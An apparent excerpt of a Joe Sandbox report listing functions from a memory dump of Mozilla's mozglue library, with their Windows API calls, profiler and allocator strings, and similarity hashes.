free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9985AC

Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99767F
Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C997693
Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9985B2

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: cac8eff9d937dac9b919cd4761e3ea95aef2999215e0182770f09a00ee56c3fe
Instruction ID: b7c9933464b9c951249474b6a6b36f53743d4bbb47717c3bf412c8ba39d925c4
Opcode Fuzzy Hash: cac8eff9d937dac9b919cd4761e3ea95aef2999215e0182770f09a00ee56c3fe
Instruction Fuzzy Hash: 48218E742006019FDB18DB28C888A6AB7B9AF9430DF28492DE55BD3B41DB31F958CB56

Function 6C961640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C961699
VerSetConditionMask.NTDLL ref: 6C9616CB
VerSetConditionMask.NTDLL ref: 6C9616D7
VerSetConditionMask.NTDLL ref: 6C9616DE
VerSetConditionMask.NTDLL ref: 6C9616E5
VerSetConditionMask.NTDLL ref: 6C9616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9616F9

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 8f8a2cd46451d108828f2a413a0759199c5cf10e5333fb35fd7ac93a3b1621c1
Instruction ID: bba0b897be92b6e228a67421185f6b1bd8524806e54ce4ec3bb1d896e3242523
Opcode Fuzzy Hash: 8f8a2cd46451d108828f2a413a0759199c5cf10e5333fb35fd7ac93a3b1621c1
Instruction Fuzzy Hash: 9821D5B07442086BFB106A65CC45FBBB37CDF96704F044528F645AB6C0C674EE54C6A1

Function 6C99F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C99F598), ref: 6C99F621

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F637
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F645
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C99F62A

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 99e2e4a7255e96c9c32b5a1c0ac3f4d8398d7a213746abeb72b20cee0978f20d
Instruction ID: dbfb89039c02f222b4e8578100ebe23204c7e3c60010c0d8b7a0a5392eb98bc5
Opcode Fuzzy Hash: 99e2e4a7255e96c9c32b5a1c0ac3f4d8398d7a213746abeb72b20cee0978f20d
Instruction Fuzzy Hash: 0211E371209A05AFCB40AF58C8489A5B77DFF9635DB280015FA09A3F01CB71F861CBA1

Function 6C961FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C961FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C961FFD
__Init_thread_footer.LIBCMT ref: 6C962011
FreeLibrary.KERNEL32 ref: 6C962059

Strings

combase.dll, xrefs: 6C961FD9
CoCreateInstance, xrefs: 6C961FF7

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 3a34ae18cd0fd3d7efdd1a7d06b4178ed928b9b246e63cdec053077a44efb8a4
Instruction ID: a05e65fbecb88758537929cf5cc8fa50c83dc609a7091692d6ff7701b3159862
Opcode Fuzzy Hash: 3a34ae18cd0fd3d7efdd1a7d06b4178ed928b9b246e63cdec053077a44efb8a4
Instruction Fuzzy Hash: 29115175209A05EFEF10CF55C84EE667B79EB86359F208419F905A3A80C731F890DFA1

Function 6C960EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C98D9F0,00000000), ref: 6C960F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C960F3C
__Init_thread_footer.LIBCMT ref: 6C960F50
FreeLibrary.KERNEL32(?,6C98D9F0,00000000), ref: 6C960F86

Strings

CoInitializeEx, xrefs: 6C960F36
combase.dll, xrefs: 6C960F18

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: d57daf84c3f9b33a4cdf9cde6b74a579e95b91fccb7cd8b778d0dff63dff6da6
Instruction ID: db76d53b309ef7e029be97d9141d51536daebdb60b8c645d9d77956a38dafc03
Opcode Fuzzy Hash: d57daf84c3f9b33a4cdf9cde6b74a579e95b91fccb7cd8b778d0dff63dff6da6
Instruction Fuzzy Hash: EC110630719A419BEF00CF55C949A693778EB8B32AF208619E905B3B80DB30F480CA69

Function 6C99F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F561

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F577
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F585
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C99F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C99F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C99F499
[I %d/%d] profiler_resume, xrefs: 6C99F239

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: e30c48d20f17c9ec6a6d5f07fc484cf4078869230fad77126673fd32d574df5b
Instruction ID: aa67c257549bbc056e8f111de936c12045696a46ba325a43ddb5548bf236ee4b
Opcode Fuzzy Hash: e30c48d20f17c9ec6a6d5f07fc484cf4078869230fad77126673fd32d574df5b
Instruction Fuzzy Hash: 27F0B475204A049FDB006F699C4C96A77BDEB9629EF294015FA09A3701CF31E84087B1

Function 6C99F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C99F598), ref: 6C99F621

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F637
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F645
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C99F62A

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 9a23326c18c620d3b4f5665758a1c7df30de0d042a0c62ae7b176801473360a7
Instruction ID: 8c8f31107bf0dabd3aea7ad4356660dd60110da7ec23acc7c525b99d64a93a69
Opcode Fuzzy Hash: 9a23326c18c620d3b4f5665758a1c7df30de0d042a0c62ae7b176801473360a7
Instruction Fuzzy Hash: 07F0B475204A04AFDF006F688C4C95A777DEB9625EF254015FA09A3701CB75E84587B1

Function 6C960E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C960DF8), ref: 6C960E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C960EA1
__Init_thread_footer.LIBCMT ref: 6C960EB5
FreeLibrary.KERNEL32 ref: 6C960EC5

Strings

kernel32.dll, xrefs: 6C960E7D
GetProcessMitigationPolicy, xrefs: 6C960E9B

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0bf903564c60863462c14bb70443c6a6c79dd39a2da2b3aacfdda3046ff6dad3
Instruction ID: 65fc3a797f989c6b03bbc0683c11bc91570c852e558421845a6d685752eb891e
Opcode Fuzzy Hash: 0bf903564c60863462c14bb70443c6a6c79dd39a2da2b3aacfdda3046ff6dad3
Instruction Fuzzy Hash: D9014B74708A828BEF018FE9CA96BC273B5E766B1DF205525D901A3F80DB74F484CA56

Function 6C9905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C98CFAE,?,?,?,6C9531A7), ref: 6C9905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C98CFAE,?,?,?,6C9531A7), ref: 6C990616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9531A7), ref: 6C99061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9531A7), ref: 6C990627

Strings

<jemalloc>, xrefs: 6C9905FA, 6C99060F
: (malloc) Error in VirtualFree(), xrefs: 6C99061B, 6C990625

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 25db96d4eb97f6669a0a88a1216d998ba0ed13a1334b52ae264f65a75ea91de4
Instruction ID: 4ab761612b90a7cc9a4172cf68e3dfbe69a8d3ff13eb501e7c7b282a36168844
Opcode Fuzzy Hash: 25db96d4eb97f6669a0a88a1216d998ba0ed13a1334b52ae264f65a75ea91de4
Instruction Fuzzy Hash: 1CE08CE2A0101037F614225ABC86DBB7A1CDBDA134F080039FE0D82741E94AFD1A51F7

Function 6C9605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bde2914b230708ec333edf2da442098fa2ffc8ec3e3d8488a5b697087bd924fa
Instruction ID: 37056422203d542312f73db08791f16c3d8635f9fd490470ecfef97f7501e69f
Opcode Fuzzy Hash: bde2914b230708ec333edf2da442098fa2ffc8ec3e3d8488a5b697087bd924fa
Instruction Fuzzy Hash: 80A16A70A05605CFDB14CF29C984A99FBF5BF49304F5486AED44AA7B40D730BA95CF90

Function 6C9B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9B14E2
GetCurrentThreadId.KERNEL32 ref: 6C9B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C9B15BA
free.MOZGLUE(?), ref: 6C9B16B4

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 770ed80ba0c0b4aa20744db873b38cabef78ec103e14aba8f224427342d16040
Instruction ID: 5603e48839bfa033874eb59e7bb1d8b95b75ccec8b4ea55c9fd9923afc74763e
Opcode Fuzzy Hash: 770ed80ba0c0b4aa20744db873b38cabef78ec103e14aba8f224427342d16040
Instruction Fuzzy Hash: 8561DF72A05700EBDB118F64C880BDEB7B5BF9A308F04851CED8A67711DB31E999CB91

Function 6C9A9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9A9FDB
free.MOZGLUE(?,?), ref: 6C9A9FF0
free.MOZGLUE(?,?), ref: 6C9AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9AA0BE
free.MOZGLUE(?,?), ref: 6C9AA0D5
free.MOZGLUE(?,?), ref: 6C9AA0EB

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6010b17c64fdc12d60f86bdafdcb9194a1e10ec7c5018c29ffbb07ec0987e6d3
Instruction ID: e92d98efe0ba971143f20b948222a7e7f1b7473426a01bcc9f839b9d99cffe8e
Opcode Fuzzy Hash: 6010b17c64fdc12d60f86bdafdcb9194a1e10ec7c5018c29ffbb07ec0987e6d3
Instruction Fuzzy Hash: 6261DF754096019FC751CF58C48059AB3F5FF98328F148669E8999B702EB32E986CFD1

Function 6C9ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C9AD38A,?), ref: 6C9ADC6F
free.MOZGLUE(?,?,?,?,?,6C9AD38A,?), ref: 6C9ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C9AD38A,?), ref: 6C9ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C9AD38A,?), ref: 6C9ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C9AD38A,?), ref: 6C9ADD4A

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 24dc189e55704bb509b1dec34db959b011ff9ef85d3745b0e5c29eb4621a213f
Instruction ID: 935987abb3a558640313b70b9eca53db3ade4ce5fc80780065d94d58081a4af8
Opcode Fuzzy Hash: 24dc189e55704bb509b1dec34db959b011ff9ef85d3745b0e5c29eb4621a213f
Instruction Fuzzy Hash: 52419CB6A00605DFCB00CF99C88099AB7F5FF98304B654469DD05ABB10D731FC01CBA0

Function 6C996590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C98FA80: GetCurrentThreadId.KERNEL32 ref: 6C98FA8D
Part of subcall function 6C98FA80: AcquireSRWLockExclusive.KERNEL32(6C9DF448), ref: 6C98FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C996727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9967C8

Part of subcall function 6C9A4290: memcpy.VCRUNTIME140(?,?,6C9B2003,6C9B0AD9,?,6C9B0AD9,00000000,?,6C9B0AD9,?,00000004,?,6C9B1A62,?,6C9B2003,?), ref: 6C9A42C4

Strings

data, xrefs: 6C996593

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

